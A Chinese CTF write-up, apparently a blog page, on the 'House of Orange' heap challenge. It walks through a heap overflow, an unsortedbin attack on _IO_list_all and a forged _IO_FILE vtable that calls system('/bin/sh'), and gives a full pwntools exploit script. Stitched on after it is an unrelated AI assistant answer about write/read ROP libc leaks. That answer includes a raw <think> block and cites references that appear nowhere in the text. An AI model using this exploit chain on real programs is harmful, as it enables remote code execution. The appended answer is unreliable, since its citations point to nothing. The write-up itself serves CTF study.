CTF-PWN-house-of-orange (unsortedbin attack+IO_FILE文件结构利用)

本文深入解析House of Orange程序中的堆溢出漏洞,详细介绍了如何利用此漏洞进行堆地址泄露,修改_IO_list_all指针,以及最终实现任意代码执行的过程。

程序综述

[*] '/home/supergate/Desktop/Pwn/houseoforange'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开
IDA查看程序逻辑后发现是一个菜单题,但是只提供了create, show, edit功能,我们没有办法free掉一个堆块从而利用一些常见的漏洞。

漏洞分析

经过分析后可以知道,漏洞点主要存在于edit函数,由于没有对输入的size进行判断,会导致读入任意长的数据,导致堆溢出

大致思路为:

  1. 通过堆溢出修改top_chunk->size
  2. create一个大小比top_chunk->size大的chunk,导致函数sysmalloc()被调用来分配新的内存,而之前的top_chunk(下面记为old_chunk)将被free到unsortedbin中。
  3. create一个比较大但是比old_chunk稍小的chunk p。old_chunk会被分为两部分,第一部分就是chunk p,由于请求的chunk的size处于largebin范围,则第一部分在从old_chunk分出来之后就会被放到largebin,然后再被取出来当作chunk p。而这个largechunk的fd_nextsize和bk_nextsize中会存放自身的地址,通过这就可以泄露出堆地址。由于malloc不会清空内容,通过控制输入的name的长度可以覆盖截断字符,从而分别泄露libc地址和heap地址。
  4. 通过堆溢出修改old top chunk的size字段为0x60,利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58,同时old_chunk会被链入small bin中,如果再分配一个chunk,就会触发malloc_printerr,会遍历IO_llist_all,最终调用 IO_overflow函数。

接下来是对详细过程的解释

top chunk的修改

我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。
当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 sysmalloc() 分配新内存,这时可能会发生两种情况:

  • 直接扩充 top chunk
  • 调用 mmap 分配一块新的 top chunk

具体调用哪一种方法是由 申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值mp_.mmap_threshold。如果申请的大小小于这个阀值的话,就会扩展top chunk,将old top chunk free掉。这样的话我们可以利用堆溢出,在unsortedbin上构造出一个chunk(即被free掉的old top chunk)。

libc和heap地址泄露

思路中的第三条阐述的比较详细了,这里就不再赘述。
如果确实没有读懂,可以跟着gdb调一调。
主要还是明白malloc不会清空原本chunk中的内容

修改 _IO_list_all

回顾一下_IO_FILE结构体

struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

IO_file结构体外面还被一个IO_FILE_plus结构体包裹着,其定义如下

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

我们都知道vtable域指向的是一个函数表,他保存了一些重要函数的函数指针:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

同时,当glibc检测到一些内存崩溃问题时,会进入到Abort routine(中止过程),他会把所有的streams送到第一阶段中(stage one)。而这个过程中,程序会调用_IO_flush_all_lockp函数,并会使用_IO_list_all变量。

函数大致调用链
mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

因此,我们只要劫持_IO_overflow函数为system函数,并且将参数FP修改为/bin/sh即可getshell。

_IO_flush_all_lockp源码:

_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)/* 选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

通过unsortedbin attack,我们就可以修改_IO_list_all指向的地址为main_arena+88,这样在下一次malloc的时候就会失败,从而调用mallloc_printerr
_IO_list_all修改为main_arena+88后,由于_IO_list_all中的 *chain指针位于 _IO_list_all + 0x68的位置,也就是 main_arena + 88 + 0x68-->small bin中大小为0x60的位置,所以之前将old top chunk的size修改为0x60,old top chunk就会链入small bin中,这时就可以将伪造的file结构链入IO_all_list中,那么在上述_IO_flush_all_lockp函数中的第二次循环时fp就能指向伪造的file结构。
同时,将构造的file的vtable指向伪造的vtable处,就能够达到调用system函数的效果了。
要注意,上面我们构造的file结构体和vtable都是在堆中构造的(这很显然,因为我们只能随意控制堆中的内容)。
最终,构造完成的结构体应该长这个样子

pwndbg> p *((struct _IO_FILE_plus *)0x555555758ac0)
$1 = {
  file = {
    _flags = 1852400175,  //hex of '/bin/sh\x00'
    _IO_read_ptr = 0x60 <error: Cannot access memory at address 0x60>, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x7ffff7dd2510 "", //_IO_list_all
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, 
    //_IO_write_ptr和_IO_write_base检测的bypass
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x0, 
    _fileno = 0, 
    _flags2 = 0, 
    _old_offset = 0, 
    _cur_column = 0, 
    _vtable_offset = 0 '\000', 
    _shortbuf = "", 
    _lock = 0x0, 
    _offset = 0, 
    _codecvt = 0x0, 
    _wide_data = 0x0, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0, 
    _mode = 0, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x555555758b98
}

pwndbg> p *((struct _IO_FILE_plus *)0x555555758ac0).vtable
$2 = {
  __dummy = 93824994347928, 
  __dummy2 = 0, 
  __finish = 0x0, 
  __overflow = 0x7ffff7a52390 <__libc_system>, 
  __underflow = 0x0, 
  __uflow = 0x0, 
  __pbackfail = 0x0, 
  __xsputn = 0x0, 
  __xsgetn = 0x0, 
  __seekoff = 0x0, 
  __seekpos = 0x0, 
  __setbuf = 0x0, 
  __sync = 0x0, 
  __doallocate = 0x0, 
  __read = 0x0, 
  __write = 0x0, 
  __seek = 0x0, 
  __close = 0x0, 
  __stat = 0x0, 
  __showmanyc = 0x0, 
  __imbue = 0x0
}

exp

from pwn import *

context.log_level='debug'
#p = process(['./houseoforange'],env={"LD_PRELOAD":"./libc64-2.19.so"})
p=process('./houseoforange')
#p=remote('111.198.29.45',50959)
elf=ELF('./houseoforange')
#libc=ELF('./libc64-2.19.so')
libc=ELF('./libc.so.6')

gdb.attach(p,"b *0x5555555553D0\n")
def create(size,name,price,color):
    p.sendlineafter(": ","1")
    p.sendlineafter(":",str(size))
    p.sendafter(":",name)
    p.sendlineafter(":",str(price))
    p.sendlineafter(":",str(color))

def show():
    p.sendlineafter(": ","2")
    p.recvuntil(": ")

def edit(size,name,price,color):
    p.sendlineafter(": ","3")
    p.sendlineafter("name :",str(size))
    p.sendafter("Name:",name)
    p.sendlineafter("Price of Orange: ",str(price))
    p.sendlineafter("Color of Orange: ",str(color))

create(0x400-0x10,"aaa",12,4)
payload='a'*(0x400-0x10)+p64(0)+p64(0x21)+p64(0)*2
payload+=p64(0)+p64(0xbc1)
edit(0x430-0x10,payload,12,4)

create(0xc00-0x10,"bbb",12,4)
create(0x600-0x10,"cccccccc",12,4)
show()
p.recvuntil("cccccccc")
libc.base=u64(p.recv(6).ljust(8,'\x00'))-1560-0x3C4B20#0x3BE760
log.info("libc_base =======> %x"%libc.base)

edit(0x600-0x10,"c"*0x10,12,4)
show()
p.recvuntil("c"*0x10)
heap_addr=u64(p.recv(6).ljust(8,'\x00'))
log.info("heap_addr =======> %x"%heap_addr)

list_all_addr=libc.base+libc.symbols['_IO_list_all']
system_addr=libc.base+libc.symbols['system']

payload='a'*(0x600-0x10)+p64(0)+p64(0x21)+p64(0)*2
payload+='/bin/sh\x00'+p64(0x60)+p64(0)+p64(list_all_addr-0x10)
payload+=p64(0)+p64(1)
payload=payload.ljust(0x600-0x10+0x20+0xd8,'\x00')
payload+=p64(heap_addr+0x6f8)+p64(0)*2+p64(system_addr)
edit(len(payload),payload,12,4)

p.recv()
p.sendline("1")
p.interactive()

<think> 我们参考引用内容,特别是引用[1]到[5],来回答用户关于使用write和read函数在CTF Pwn中求libc基址的方法。 根据引用[4]和[5],我们知道: 1. 程序运行后,libc中的函数在内存中的实际地址 = libc基址 + 函数在libc中的偏移量。 2. 我们可以通过泄露一个已经执行过的函数的实际地址(例如write或puts)来计算libc基址。 在CTF Pwn中,如果程序有栈溢出漏洞,我们可以构造ROP链来调用write函数(或puts函数)来泄露某个函数的真实地址(通常是GOT表中存储的地址),然后通过这个地址减去该函数在libc中的偏移量,得到libc基址。 具体到使用write+read的方法,通常步骤如下: 步骤1:第一次溢出,利用ROP调用write函数,将GOT表中某个函数(如write自身或puts)的地址输出到标准输出(文件描述符1)。同时,为了后续继续利用,我们需要控制程序返回到一个可以再次触发溢出的位置(如main函数开头)。 步骤2:接收程序输出,解析出泄露的函数地址。 步骤3:根据泄露的函数地址,计算libc基址(基址 = 泄露的函数地址 - 该函数在libc中的偏移量)。注意,不同libc版本中函数的偏移量不同,因此需要确定libc版本(可以通过泄露多个函数地址来匹配,或者题目提供了libc文件)。 步骤4:根据libc基址,计算出system函数和字符串"/bin/sh"的地址。 步骤5:第二次溢出,利用ROP调用read函数(或其他输入函数)将构造好的ROP链(调用system("/bin/sh"))写入到某个可写内存区域(如.bss段),然后跳转到该区域执行;或者直接构造ROP链调用system("/bin/sh")。 但是,用户特别提到使用write+read,所以这里重点在于利用write泄露地址和利用read再次读入数据。 以下是一个典型利用场景的伪代码: 第一次ROP链: - 覆盖返回地址为write函数的PLT地址(write@plt) - 设置write函数的参数:文件描述符(1)、要泄露的地址(如write_got,即GOT表中write的地址)、输出的长度(4或8字节,取决于32位还是64位) - 设置返回地址为main函数的地址(或另一个可以再次触发溢出的地址),这样在write执行完后程序会重新运行到有漏洞的地方。 接收程序输出的write_got的值,然后计算libc基址。 第二次ROP链: - 覆盖返回地址为read函数的PLT地址(read@plt) - 设置read函数的参数:文件描述符(0,即标准输入)、存储地址(如.bss段的一个缓冲区)、长度(足够长以容纳我们输入的ROP链) - 设置返回地址为存储的ROP链的起始地址(即.bss段的那个缓冲区),这样read函数读入的数据(即我们构造的ROP链)会从.bss段开始执行。 第二次ROP链中,我们可以在.bss段写入一个ROP链,这个ROP链调用system("/bin/sh")。或者,我们可以利用read函数读入一个ROP链直接调用system("/bin/sh"),但要注意此时需要知道system函数的地址。 另一种常见的做法是:第二次ROP链直接构造调用system("/bin/sh"),而不通过read再次读入。但这里用户要求使用read,所以我们需要用read来读入后续的ROP链或字符串。 具体构造示例(32位): 第一次ROP链: - 填充缓冲区 - write@plt - main_addr (返回地址) - 1 (文件描述符) - write_got (要泄露的地址) - 4 (输出长度) 接收4个字节的write_got地址,计算libc基址:libc_base = write_addr - libc_write_offset 然后计算system地址和/bin/sh地址: system_addr = libc_base + libc_system_offset binsh_addr = libc_base + libc_binsh_offset 第二次ROP链: - 填充缓冲区 - read@plt - system_addr (注意:这里我们希望read后返回到system,并且参数是/bin/sh,但需要调整栈) - 0 (文件描述符) - binsh_addr (读入地址?这里需要调整思路) 实际上,我们通常需要将"/bin/sh"字符串写入内存,如果libc中已经有这个字符串,我们可以直接使用。然后调用system函数。 但是,如果我们使用read读入,我们可以这样: 第二次ROP链1(使用read读入字符串和后续ROP): read(0, bss_addr, len(payload)) # 读入payload到bss_addr 然后返回到bss_addr(即执行我们读入的shellcode或ROP链) 但是,我们也可以直接构造ROP链调用system,此时需要将"/bin/sh"的地址作为参数。我们可以将"/bin/sh"字符串读入到已知地址(如.bss段),然后调用system。 因此,第二次ROP链可以这样: - 覆盖返回地址为read@plt - 设置返回地址为pop指令的地址(用于清理read的参数),然后接着是system的地址和参数 - 参数1:0(标准输入) - 参数2:bss_addr(.bss段的一个地址,用于存放我们输入的字符串"/bin/sh") - 参数3:8(长度,足够存放字符串) - 然后设置返回地址为一段gadget:pop ebx; ret; 这样当read执行完后,会弹出参数(清理栈),然后执行下一条指令。接着我们调用system,参数是bss_addr。 具体构造(32位): payload2 = padding + read_plt + pop3_ret + 0 + bss_addr + 8 + system_addr + ret_addr + bss_addr 解释: - 调用read(0, bss_addr, 8)读入8个字节到bss_addr(这里我们输入"/bin/sh\x00") - read函数返回后,执行pop3_ret(一个弹出3个参数的gadget),将read的参数弹出栈,然后返回到system_addr - system_addr的返回地址是ret_addr(可以是一个无用的ret指令地址),参数是bss_addr(即我们读入的字符串地址) 但是,在64位系统中,参数传递通过寄存器,所以构造方式不同。 由于用户没有指定是32位还是64位,这里我们以32位为例。 然而,在实际题目中,我们往往需要根据题目提供的libc来确定偏移量,或者使用LibcSearcher等工具来查找。 总结步骤: 1. 利用write泄露一个GOT表地址(如write_got)。 2. 计算libc基址(需要知道该函数在libc中的偏移)。 3. 计算system和/bin/sh的地址(需要知道它们在libc中的偏移)。 4. 利用read函数读入字符串"/bin/sh"到.bss段(可选,如果libc中已有则不用读入)。 5. 构造ROP链调用system("/bin/sh")。 注意:如果题目中write函数不可用,也可以用puts函数,但puts遇到'\0'会结束,所以需要小心。 引用[5]中提到了使用LibcSearcher来查找libc版本和偏移,我们可以使用类似的工具。 下面是一个简化的例子(假设是32位程序): 第一次ROP链: payload1 = 'A'*offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 然后,接收泄露的write_got地址(4字节),解析为地址。 然后,计算libc_base = write_addr - libc.symbols['write'] # 这里需要知道libc版本,或者使用LibcSearcher 接着,计算system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search('/bin/sh')) # 或者如果libc中没有,则需要读入 第二次ROP链: # 首先,我们需要读入"/bin/sh"字符串到.bss段(假设bss_addr已知) payload2 = 'A'*offset payload2 += p32(read_plt) # 调用read payload2 += p32(pop3_ret) # read返回后跳到这里,弹出3个参数 payload2 += p32(0) # fd=0 payload2 += p32(bss_addr) # buf payload2 += p32(8) # len # 然后,我们调用system,参数是bss_addr payload2 += p32(system_addr) payload2 += p32(0) # system的返回地址,可以随意 payload2 += p32(bss_addr) 然后发送payload2,接着发送字符串"/bin/sh\x00"(8字节)。 这样,程序就会执行system("/bin/sh")。 但是,如果libc中已经有"/bin/sh"字符串,我们可以直接使用,不需要读入。那么第二次ROP链可以简化为: payload2 = 'A'*offset + p32(system_addr) + p32(0) + p32(binsh_addr) 然而,用户要求使用read,所以这里我们展示的是需要读入字符串的情况。 注意:实际题目中,我们可能还需要考虑栈平衡等问题。 以上是使用write+read求libc基址并最终获取shell的方法。 现在,我们根据用户要求生成相关问题。 §§相关问题§§ 1. 在32位和64位系统中,利用write和read函数求libc基址的主要区别是什么? 2. 如果程序中没有write函数,还可以用哪些函数来泄露libc基址? 3. 在利用read函数读入数据时,如何确定.bss段的地址? 4. 如何解决不同libc版本中函数偏移量不同的问题? 5. 在构造ROP链时,为什么有时候需要返回到main函数重新开始? </think>### CTF Pwn中使用write+read求libc基址的方法 在CTF Pwn中,通过`write`和`read`函数泄露libc基址是常见的利用技术,主要流程如下: #### 核心原理 1. **libc地址计算** libc基址 = 泄露的函数实际地址 - 该函数在libc中的固定偏移量 即:$libc\_base = leaked\_addr - offset$ 2. **GOT/PLT机制** GOT表存储函数真实地址,通过泄露GOT表项获取libc函数地址(如`write@got`)[^2][^5]。 #### 操作步骤 1. **第一次ROP链(泄露地址)** ```python payload1 = b'A' * offset # 填充缓冲区 payload1 += p64(pop_rdi) # 设置rdi=1 (stdout) payload1 += p64(1) payload1 += p64(pop_rsi) # 设置rsi=write_got payload1 += p64(elf.got['write']) payload1 += p64(pop_rdx) # 设置rdx=8 (64位地址长度) payload1 += p64(8) payload1 += p64(elf.plt['write']) # 调用write(1, write_got, 8) payload1 += p64(main_addr) # 返回main重新触发溢出 ``` - 执行后接收输出的8字节数据,解析为`write`函数的实际内存地址[^5]。 2. **计算libc基址** ```python write_addr = u64(io.recv(8)) # 解析泄露的地址 libc_base = write_addr - libc.sym['write'] # 计算基址 system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) ``` 3. **第二次ROP链(getshell)** ```python payload2 = b'A' * offset payload2 += p64(pop_rdi) payload2 += p64(binsh_addr) # rdi="/bin/sh" payload2 += p64(ret) # 栈对齐(可选) payload2 += p64(system_addr) # 调用system("/bin/sh") ``` #### 关键点说明 1. **`read`函数的作用** - 在限制输入长度的题目中(如[^3]),用`read`构造栈迁移: ```python payload += p64(pop_rdi) + p64(0) # fd=0 (stdin) payload += p64(pop_rsi) + p64(new_stack) # 目标栈地址 payload += p64(elf.plt['read']) # read(0, new_stack, size) payload += p64(migrate_gadget) # 跳转到新栈 ``` - 将后续ROP链读到可控内存区域(如.bss段)[^3]。 2. **动态偏移处理** - 当libc版本未知时,用`LibcSearcher`匹配: ```python from LibcSearcher import * libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') ``` #### 典型应用场景 1. 存在栈溢出但无`system`/`/bin/sh`的程序 2. 开启NX保护时(无法执行shellcode) 3. 输入长度受限需结合栈迁移(如[^3]) ---
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值